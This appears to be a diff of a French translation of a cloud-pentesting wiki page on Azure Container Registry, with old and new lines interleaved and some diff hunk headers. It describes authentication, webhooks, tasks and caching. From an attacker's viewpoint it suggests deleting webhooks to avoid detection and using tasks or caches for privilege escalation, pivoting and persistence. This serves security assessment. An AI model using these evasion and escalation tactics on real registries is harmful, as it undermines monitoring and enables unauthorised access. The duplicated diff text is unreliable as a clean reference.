- **Avec un Service Principal** : Il est possible de créer un **service principal** et de lui attribuer un rôle tel que **`AcrPull`** pour effectuer un pull d'images. Il devient alors possible de **se connecter au registre** en utilisant l'appId du SP comme nom d'utilisateur et un secret généré comme mot de passe.
Exemple de script depuis la [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) pour générer un SP avec accès à un registry :
Voici un exemple de script provenant de la [documentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) permettant de générer un SP avec un accès à un registre :
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
```
### Encryption
Seule la **Premium SKU** prend en charge le **chiffrement au repos** pour les images et les autres artifacts.
Seul le **Premium SKU** prend en charge l'**encryption at rest** pour les images et autres artefacts.
### Networking
Seule la **Premium SKU** prend en charge les **private endpoints**. Les autres ne prennent en charge que l**accès public**. Un public endpoint a le format `<registry-name>.azurecr.io` et un private endpoint a le format `<registry-name>.privatelink.azurecr.io`. Pour cette raison, le nom du registry doit être unique dans tout Azure.
Seul le **Premium SKU** prend en charge les **private endpoints**. Les autres prennent uniquement en charge l'**accès public**. Un endpoint public suit le format `<registry-name>.azurecr.io` et un private endpoint suit le format `<registry-name>.privatelink.azurecr.io`. Pour cette raison, le nom du registry doit être unique dans Azure.
### Microsoft Defender for Cloud
Cela vous permet de **scanner les images** du registry à la recherche de **vulnerabilities**.
Cela permet de **scanner les images** du registry à la recherche de **vulnérabilités**.
### Soft-delete
La fonctionnalité **soft-delete** vous permet de **récupérer un registry supprimé** dans le nombre de jours indiqué. Cette fonctionnalité est **désactivée par défaut**.
La fonctionnalité **soft-delete** permet de **récupérer un registry supprimé** dans le nombre de jours indiqué. Cette fonctionnalité est **désactivée par défaut**.
### Webhooks
Il est possible de **créer des webhooks** dans les registries. Dans ce webhook, il faut spécifier lURL vers laquelle une **request sera envoyée à chaque fois quune action push ou delete est effectuée**. De plus, les Webhooks peuvent indiquer un scope pour préciser les repositories (images) qui seront affectés. Par exemple, 'foo:\*' signifie les événements sous le repository 'foo'.
Il est possible de **créer des webhooks** dans les registries. Dans ce webhook, il faut spécifier l'URL vers laquelle une **requête sera envoyée chaque fois qu'une action de push ou de delete est effectuée**. De plus, les Webhooks peuvent définir un scope indiquant les repositories (images) concernés. Par exemple, 'foo:\*' signifie les événements dans le repository 'foo'.
Du point de vue dun attacker, il est intéressant de vérifier cela **avant deffectuer toute action** dans le registry, et de le supprimer temporairement si nécessaire, afin déviter dêtre détecté.
Du point de vue d'un attaquant, il est intéressant de vérifier cela **avant d'effectuer toute action** dans le registry et de le supprimer temporairement si nécessaire, afin d'éviter d'être détecté.
### Connected registries
Cela permet essentiellement de **mirroring les images** dun registry vers un autre, généralement situé sur site.
Cela permet essentiellement de **miroiter les images** d'un registry vers un autre, généralement situé on-premises.
Il a 2 modes : **ReadOnly** et **ReadWrite**. Dans le premier, les images sont seulement **pulled** depuis le source registry, et dans le second, les images peuvent aussi être **pushed** vers le source registry.
Il existe 2 modes : **ReadOnly** et **ReadWrite**. Dans le premier, les images sont uniquement **pullées** depuis le registry source, tandis que dans le second, les images peuvent également être **pushées** vers le registry source.
Afin que les clients accèdent au registry depuis Azure, un **token** est généré lorsque le connected registry est utilisé.
Pour que les clients puissent accéder au registry depuis Azure, un **token** est généré lorsque le connected registry est utilisé.
### Runs & Tasks
Runs & Tasks permet dexécuter dans Azure des actions liées aux containers que vous deviez généralement effectuer localement ou dans une pipeline CI/CD. Par exemple, vous pouvez **build, push, and run images in the registry**.
Runs & Tasks permet d'exécuter dans Azure des actions liées aux containers que vous deviez généralement effectuer localement ou dans une pipeline CI/CD. Par exemple, vous pouvez **build, push et run des images dans le registry**.
La manière la plus simple de build et run un container est dutiliser un Run classique :
La manière la plus simple de build et run un container consiste à utiliser un Run standard :
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
Cependant, cela déclenchera des runs qui ne sont pas super intéressants du point de vue d'un attacker car ils n'ont aucune managed identity attachée à eux.
Cependant, cela déclenchera des exécutions qui ne sont pas très intéressantes du point de vue d'un attaquant, car aucune managed identity ne leur est associée.
Cependant, les **tasks** peuvent avoir une **system and user managed identity** attachée à elles. Ce sont ces tasks qui sont utiles pour **escalate privileges** dans le container. Dans la section privileges escalation, il est possible de voir comment utiliser les tasks pour escalate privileges.
Cependant, les **tasks** peuvent avoir une **system et user managed identity** qui leur est associée. Ce sont ces tasks qui sont utiles pour **escalader les privilèges** dans le container. La section consacrée à l'escalade de privilèges explique comment utiliser les tasks pour escalader les privilèges.
### Cache
La fonctionnalité cache permet de **download images from an external repository** et de stocker les nouvelles versions dans le registry. Elle nécessite d'avoir certaines **credentials configurées** en sélectionnant les credentials depuis un Azure Vault.
La fonctionnalité de cache permet de **télécharger des images depuis un repository externe** et de stocker les nouvelles versions dans le registry. Elle nécessite d'avoir des **identifiants configurés**, en sélectionnant les identifiants depuis un Azure Vault.
C'est très intéressant du point de vue d'un attacker car cela permet de **pivot to an external platform** si l'attacker a suffisamment de permissions pour accéder aux credentials, **download images from an external repository** et configurer un cache peut aussi servir de **persistence mechanism**.
C'est très intéressant du point de vue d'un attaquant, car cela permet de **pivoter vers une plateforme externe** si l'attaquant dispose de suffisamment de permissions pour accéder aux identifiants. **Télécharger des images depuis un repository externe** et configurer un cache peut également servir de **mécanisme de persistence**.
## Enumeration
## Énumération
> [!WARNING]
> Il est très important que, même si le nom du registry contient des lettres majuscules, vous n'utilisiez que des lettres minuscules dans l'url pour y accéder.
> Il est très important que, même si le nom du registry contient des lettres majuscules, vous utilisiez uniquement des lettres minuscules dans l'URL pour y accéder.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -155,6 +155,10 @@ az acr cache show --name <cache-name> --registry <registry-name>
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
{{#ref}}
../az-post-exploitation/az-container-registry-post-exploitation.md
{{#endref}}
## Références
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)